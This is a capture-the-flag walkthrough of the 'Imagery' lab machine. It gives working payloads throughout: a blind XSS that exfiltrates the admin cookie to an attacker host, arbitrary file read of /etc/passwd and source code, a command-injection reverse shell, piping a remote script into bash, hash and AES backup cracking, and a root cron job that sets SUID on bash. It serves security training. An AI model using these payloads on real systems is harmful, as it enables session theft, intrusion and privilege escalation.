Introduction
Imagery is a medium Linux machine built around an image gallery web application. The attack chain is creative - it starts with a blind XSS to steal an admin session cookie, pivots through an arbitrary file read to obtain source code, then exploits an ImageMagick command injection to land a shell. Post-exploitation involves cracking an AES-encrypted backup file to pivot users, and finally abusing a sudo-privileged custom CLI tool to schedule a root cron job. The path to root:
- Enumeration → Nmap finds port 8000 (Flask/Werkzeug web app) and port 22 (SSH). Register an account and explore the app
- Blind XSS → the “Report a Bug” form is viewed by an admin bot. Inject an
<img>payload to confirm XSS, then steal the admin’s session cookie viaonerror - Session hijack → swap the cookie in your browser to access the Admin Panel
- Arbitrary File Read → the admin log-download endpoint takes a filename parameter with no sanitisation. Read
/etc/passwd, then/proc/self/environto find the app’s home directory, then pull the full source code - Source code review →
api_edit.pyreveals a hidden/apply_visual_transformendpoint that builds an ImageMagick shell command from unsanitised user input - RCE via command injection → log in as
testuser(credentials fromdb.jsonvia the file read, cracked with john), upload an image, send a crop transform request with a Python reverse shell injected into thewidthparameter → shell asweb - Encrypted backup → LinPEAS finds
/var/backup/web.zip.aes(pyAesCrypt). Brute-force the password with dpyAesCrypt →bestfriends. Decrypt and extract an olddb.jsoncontainingmark’s MD5 hash → crack →supersmash - Lateral movement →
su markwith the cracked password → user flag - Sudo abuse - Charcol →
markcan run/usr/local/bin/charcolas root. Reset the app password, enter the shell, use the built-inauto addcommand to schedule a cron job that sets the SUID bit on/bin/bash→bash -p→ root → root flag
Key Concepts
What is Blind XSS? Regular XSS fires immediately in your own browser - you see the alert or the error yourself. Blind XSS is different: your payload lands in a form that an admin or bot reviews on the backend. You can’t see the result directly - you have to prove the execution by checking whether your server receives a callback. Once confirmed, you craft a payload that exfiltrates something useful - like the admin’s session cookie.
What is httpOnly and why does its absence matter? The httpOnly flag on a cookie prevents JavaScript from reading it via document.cookie. If httpOnly is not set on a session cookie, any JavaScript running in the admin’s browser (including injected XSS payloads) can read and steal it. That’s what makes this attack possible.
What is btoa()? btoa() is a built-in browser function that base64-encodes a string. Payloads like btoa(document.cookie) encode the cookie value before sending it as a URL parameter - this prevents special characters (equals signs, semicolons, spaces) from breaking the HTTP request.
What is Arbitrary File Read? A vulnerability where a parameter that’s supposed to reference one specific file can be manipulated to read any file the server process has permission to access. Here the log_identifier parameter was meant to serve user log files, but accepts absolute paths like /etc/passwd without validation. This can expose credentials, source code, SSH keys, and more.
What is /proc/self/environ? A special Linux file that contains all environment variables for the currently running process. For a web app, this often includes the working directory, the app’s home folder path, environment-specific secrets, and more. It’s always worth trying during arbitrary file read - it’s a quick way to map out the server’s context.
What is command injection via ImageMagick? The web app builds a shell command string by formatting user input directly into it:
command = f"convert {filepath} -crop {width}x{height}+{x}+{y} {output}"
If width contains a semicolon or shell operator followed by a command, the shell executes both. Since subprocess.run() is called with shell=True, the entire string is passed to /bin/sh - making this a textbook OS command injection.
What is pyAesCrypt? A Python library that encrypts files with AES-256-CBC. It’s not inherently weak, but like any symmetric encryption, the security depends entirely on the password used. If that password is a common word, it’s vulnerable to a dictionary attack.
What is an SUID binary? SUID (Set User ID) is a Unix permission bit. When set on an executable, it runs as the file owner (usually root) regardless of who calls it. Setting the SUID bit on /bin/bash means any user can run bash -p to get a root shell - making it one of the most common privilege escalation techniques in CTFs.
What is a cron job? A scheduled task on Linux that runs automatically at defined intervals (specified in cron syntax: * * * * * = every minute). If a privileged program lets you schedule commands and runs those commands as root, you can schedule anything - including commands that give you permanent root access.
Enumeration
Nmap
ports=$(nmap -Pn -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -Pn -p$ports -sC -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH - OpenSSH 9.7p1 | Used later for stable access |
| 8000 | HTTP - Werkzeug 3.1.3 / Python 3.12.7 | Flask-based image gallery app |
Add the hostname to your hosts file:
echo "<TARGET> imagery.htb" | sudo tee -a /etc/hosts
Why Werkzeug/Flask? Knowing the server is Python/Flask is useful context. Flask apps often store session data in signed cookies, use JSON config files, and import code from multiple
.pymodules. All of this shapes how we approach source code review later.
Web Application
Visit http://imagery.htb:8000. Register an account and log in. The dashboard is an image gallery - empty for now. More importantly, check the footer: there’s a “Report Bug” link.
The bug report form has two fields: Bug Name / Summary and Bug Details. This form is reviewed by an admin. That’s the XSS target.
Foothold: Blind XSS → Cookie Theft → Admin Panel
Step 1: Confirm XSS
Start a Python HTTP server to catch callbacks:
python3 -m http.server 80
Inject a simple <img> tag into the Bug Details field. The "> at the start breaks out of any existing HTML attribute that might be wrapping input:
"><img src="http://<YOUR_IP>/bug_details">
Submit the report and wait about a minute. Check your HTTP server - you should see:
<TARGET> - - "GET /bug_details HTTP/1.1" 404 -
The server made a request to your machine. An admin bot viewed the report, the browser tried to load the image from your server, and you got the callback. Blind XSS confirmed.
Why does the path matter? Putting
/bug_detailsin the URL helps you identify which payload triggered the callback, especially if you’re testing multiple form fields at once.
Step 2: Steal the Admin’s Session Cookie
The session cookie has no httpOnly flag - JavaScript can read it with document.cookie. Craft a payload that base64-encodes the cookie and sends it as a URL parameter to your server:
<img src=x onerror="window.location.href='http://<YOUR_IP>/c='+btoa(document.cookie);" />
Submit this in the Bug Details field. After about a minute, your HTTP server receives:
<TARGET> - - "GET /c=c2Vzc2lvbj0uZUp3OWpiRU9...= HTTP/1.1" 404 -
Decode the base64 value to recover the session cookie:
echo 'c2Vzc2lvbj0uZUp3OWpiRU9...' | base64 -d; echo
# session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP...
Step 3: Hijack the Session
Open your browser’s DevTools → Application → Cookies → http://imagery.htb:8000. Replace your own session cookie value with the admin’s decoded value. Refresh the page.
You now have access to the Admin Panel, which shows all registered users and their user IDs. It also has a “Download Log” button for each user that fetches their activity log file.
Arbitrary File Read
Intercept the Log Download
Click “Download Log” for any user and intercept the request in Burp Suite. The request looks like:
GET /admin/get_system_log?log_identifier=testuser@imagery.htb.log HTTP/1.1
The log_identifier parameter accepts a filename. Try changing it to an absolute path:
GET /admin/get_system_log?log_identifier=/etc/passwd HTTP/1.1
The response returns the full contents of /etc/passwd. The server is not validating or sanitising this parameter - it’s a path traversal / arbitrary file read vulnerability.
Find the App’s Location
Read /proc/self/environ to find the web app’s home directory:
GET /admin/get_system_log?log_identifier=/proc/self/environ HTTP/1.1
The environment variables reveal the app’s home path. Note the HOME variable - it points to something like /home/web.
Pull the Source Code
Read the main Flask application:
GET /admin/get_system_log?log_identifier=/home/web/web/app.py HTTP/1.1
app.py shows all the imported modules:
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit # ← interesting
from api_admin import bp_admin
from api_misc import bp_misc
Read each one. api_edit.py is the most interesting:
GET /admin/get_system_log?log_identifier=/home/web/web/api_edit.py HTTP/1.1
Also read config.py to find where credentials are stored:
GET /admin/get_system_log?log_identifier=/home/web/web/config.py HTTP/1.1
config.py reveals the credentials file is named db.json. Read it:
GET /admin/get_system_log?log_identifier=/home/web/web/db.json HTTP/1.1
db.json contains MD5 hashes for all users. Copy the testuser hash.
Cracking the testuser Hash
Save the hash to a file and crack it with john:
echo "3c65cbf7b18ca320e3ed42b9619380416" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=raw-md5
iambatman (?)
testuser credentials:
| Field | Value |
|---|---|
| Username | testuser@imagery.htb |
| Password | iambatman |
RCE via ImageMagick Command Injection
Understanding the Vulnerability
api_edit.py contains a hidden route /apply_visual_transform. Reading the relevant code:
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
# ...
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
The width value comes directly from user input and is inserted into a shell command with no sanitisation. With shell=True, a semicolon in width will end the ImageMagick command and start a new one - our command.
The endpoint requires the session key is_testuser_account to be set - which is why we need to be logged in as testuser.
Step 1: Log in as testuser
Log out of the admin account and log in as testuser@imagery.htb with password iambatman.
Step 2: Upload an Image
Go to Upload and upload any valid image file (PNG, JPG, GIF). Note the image ID shown after upload - you’ll need it.
Step 3: Start a Listener
nc -lnvp 1337
Step 4: Send the Malicious Transform Request
Go to your image in the Gallery, click the options menu → Transform Image → select Crop. Intercept the request in Burp Suite before it’s sent.
The request body is JSON. Modify the width field to inject a Python reverse shell:
{
"imageId": "<your-image-id>",
"transformType": "crop",
"params": {
"x": "0",
"y": "0",
"width": "800;python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<YOUR_IP>\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'",
"height": "600"
}
}
Breaking down the payload:
800;- a valid-looking width value followed by a semicolon. The semicolon ends theconvertcommandpython3 -c '...'- opens a socket to your machine and spawns/bin/bashover it, with stdin/stdout/stderr all redirected to the socket- The shell executes this because
subprocess.run()usesshell=True
Send the request. Check your listener:
Connection received on <TARGET> 48316
web@Imagery:~/web$
Step 5: Stabilise the Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z to background the shell
stty raw -echo; fg
# Press Enter twice
You now have a stable, fully interactive shell as web.
Lateral Movement: Encrypted Backup → mark
Run LinPEAS
Serve LinPEAS from your machine and execute it in memory on the target (nothing is written to disk):
# On your machine:
cp /usr/share/peass/linpeas/linpeas.sh .
python3 -m http.server 80
# On the target:
curl http://<YOUR_IP>/linpeas.sh | bash
LinPEAS flags an unusual file in /var/backup:
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aes
Transfer the File
# On the target - serve the file:
cd /var/backup
python3 -m http.server 9001
# On your machine - download it:
wget http://<TARGET>:9001/web_20250806_120723.zip.aes -O web.zip.aes
Check what it is:
file web.zip.aes
# web.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
Brute-Force the Encryption Password
Download dpyAesCrypt.py - a purpose-built pyAesCrypt brute-forcer. Set up a Python virtual environment (required because the tool needs the pyAesCrypt library):
virtualenv env
source env/bin/activate
pip3 install pyAesCrypt
python3 dpyAesCrypt.py web.zip.aes /usr/share/wordlists/rockyou.txt -t 100
[✓] Password found: bestfriends
Decrypt the file now? (y/n): y
[✓] File decrypted successfully as: web.zip
Why 100 threads? pyAesCrypt decryption is CPU-bound. More threads = more parallel attempts = faster cracking. The default is usually 1 thread, which would take hours on rockyou.
Extract and Find mark’s Hash
unzip web.zip
cat web/db.json
The old backup contains a user entry for mark@imagery.htb with an MD5 hash:
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535"
Crack it:
echo "01c3d2e5bdaf6134cec0a367cf53e535" > mark_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash.txt --format=raw-md5
supersmash (?)
mark’s credentials:
| Field | Value |
|---|---|
| Username | mark |
| Password | supersmash |
Switch to mark
web@Imagery:~$ su mark
Password: supersmash
mark@Imagery:/home/web$ cat /home/mark/user.txt
User flag captured.
Privilege Escalation: Charcol Cron Job → root
Check Sudo Permissions
mark@Imagery:~$ sudo -l
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
mark can run the charcol binary as any user (including root) without a password. Check the binary:
ls -la /usr/local/bin/charcol
# -rwxr-x--- 1 root root 69 Aug 4 18:08 /usr/local/bin/charcol
Mark can execute it but not read it - we can’t reverse-engineer the binary directly. Look at the help instead:
sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
Two key things: a -R reset option, and a shell command that drops into an interactive shell.
Step 1: Reset the Application Password
The app has its own password that protects access to its shell. Since we don’t know it, reset it:
sudo /usr/local/bin/charcol -R
It asks for mark’s system password to verify the operation:
Enter system password for user 'mark' to confirm: supersmash
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
Why does this work? The app stores its own config in
/root/.charcol/. Since the binary runs as root (via sudo), the-Rflag can delete that config file, effectively wiping the app password. The system password check is just to prove you’re mark - it doesn’t protect against this.
Step 2: Enter the Charcol Shell and Set New Passwords
sudo /usr/local/bin/charcol shell
It prompts for first-time setup:
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 1
Enter new application password: <choose any password>
Confirm new application password: <same>
Now, set a master passphrase. This passphrase is used ONLY to encrypt your
application password in the config file.
Enter new master passphrase: <choose any passphrase>
Confirm new master passphrase: <same>
Restart again with your new credentials:
sudo /usr/local/bin/charcol shell
Enter your Charcol master passphrase: <your passphrase>
You’re now inside the Charcol interactive shell.
Step 3: Discover the Cron Job Feature
charcol> help
In the output, look for the “Automated Jobs” section:
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>"
Purpose: Add a new automated cron job managed by Charcol.
Since charcol runs as root, any cron job it creates will run as root. This is the privilege escalation path.
Step 4: Schedule the SUID Payload
The payload sets the SUID bit on /bin/bash. Once that bit is set, any user can run bash -p to get a root effective UID:
charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"
Enter Charcol application password: <your password>
[INFO] Auto job 'pwn' added successfully. The job will run according to schedule.
[INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true /bin/bash -c 'chmod u+s /bin/bash'
Cron syntax breakdown:
* * * * *means every minute, every hour, every day - so you’ll wait at most 60 seconds for execution.
Step 5: Wait and Escalate
Exit the Charcol shell and watch the SUID bit appear:
watch -n 5 ls -la /bin/bash
After up to a minute:
-rwsr-xr-x 1 root root 1474768 Oct 26 2024 /bin/bash
The s in place of x in the owner field confirms the SUID bit is set. Now escalate:
bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)
euid=0 - effective user ID is root. You have full root privileges.
bash-5.2# cat /root/root.txt
Root flag captured.
Summary
nmap → port 22 (SSH), port 8000 (Flask image gallery)
↓
Register account → explore app → footer: "Report Bug" form
↓
python3 -m http.server 80
"><img src="http://<IP>/test"> → GET /test received → Blind XSS confirmed
↓
<img src=x onerror="window.location.href='http://<IP>/c='+btoa(document.cookie);" />
→ GET /c=<base64> received → base64 -d → admin session cookie
↓
Replace browser cookie → Admin Panel unlocked
↓
Admin Panel → Download Log → intercept in Burp
log_identifier=testuser@imagery.htb.log → change to /etc/passwd → contents returned
→ Arbitrary File Read confirmed
↓
log_identifier=/proc/self/environ → app home dir: /home/web
log_identifier=/home/web/web/app.py → imports: api_edit.py
log_identifier=/home/web/web/api_edit.py → hidden /apply_visual_transform endpoint
→ width param injected into shell command (shell=True) → Command Injection
log_identifier=/home/web/web/config.py → credentials file: db.json
log_identifier=/home/web/web/db.json → testuser MD5 hash
↓
john --format=raw-md5 → testuser : iambatman
↓
Log in as testuser → upload image → Transform Image → crop → intercept in Burp
"width": "800;python3 -c 'import os,pty,socket;...'" → nc -lnvp 1337
→ shell as web
↓
Stabilise shell → curl http://<IP>/linpeas.sh | bash
→ /var/backup/web.zip.aes (pyAesCrypt)
↓
Transfer web.zip.aes → dpyAesCrypt.py + rockyou.txt → bestfriends
→ unzip web.zip → cat web/db.json → mark@imagery.htb MD5 hash
↓
john --format=raw-md5 → mark : supersmash
↓
su mark → cat /home/mark/user.txt → USER FLAG
↓
sudo -l → (ALL) NOPASSWD: /usr/local/bin/charcol
↓
sudo charcol -R → reset app password (verifies with mark's system password)
sudo charcol shell → first-time setup → set new app password + master passphrase
→ help → "auto add" cron job feature discovered
↓
auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"
→ wait 60 seconds → ls -la /bin/bash → -rwsr-xr-x
↓
bash -p → euid=0(root) → cat /root/root.txt → ROOT FLAG
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Network port scanner - identifies open ports and services | Pre-installed on Kali |
Python http.server | Serves files and catches HTTP callbacks (XSS confirmation, LinPEAS delivery) | Built into Python 3 |
| Burp Suite | HTTP proxy - intercepts and modifies web requests | Pre-installed on Kali |
base64 | Decodes base64-encoded cookie values from the XSS callback | Pre-installed on Kali |
john (JohnTheRipper) | Cracks password hashes - used here for raw MD5 | Pre-installed on Kali |
| rockyou.txt | Common password wordlist used with john | /usr/share/wordlists/rockyou.txt on Kali |
nc (netcat) | Catches reverse shell connections | Pre-installed on Kali |
| LinPEAS | Automated Linux privilege escalation enumeration script | github.com/peass-ng/PEASS-ng |
| dpyAesCrypt.py | Multi-threaded pyAesCrypt password brute-forcer | github.com/grawlinson/dpyAesCrypt |
virtualenv + pyAesCrypt | Required to run dpyAesCrypt.py | pip install virtualenv pyAesCrypt |
unzip | Extracts the decrypted zip archive | Pre-installed on Kali |
watch | Repeatedly runs a command - used to monitor SUID bit change | Pre-installed on Kali |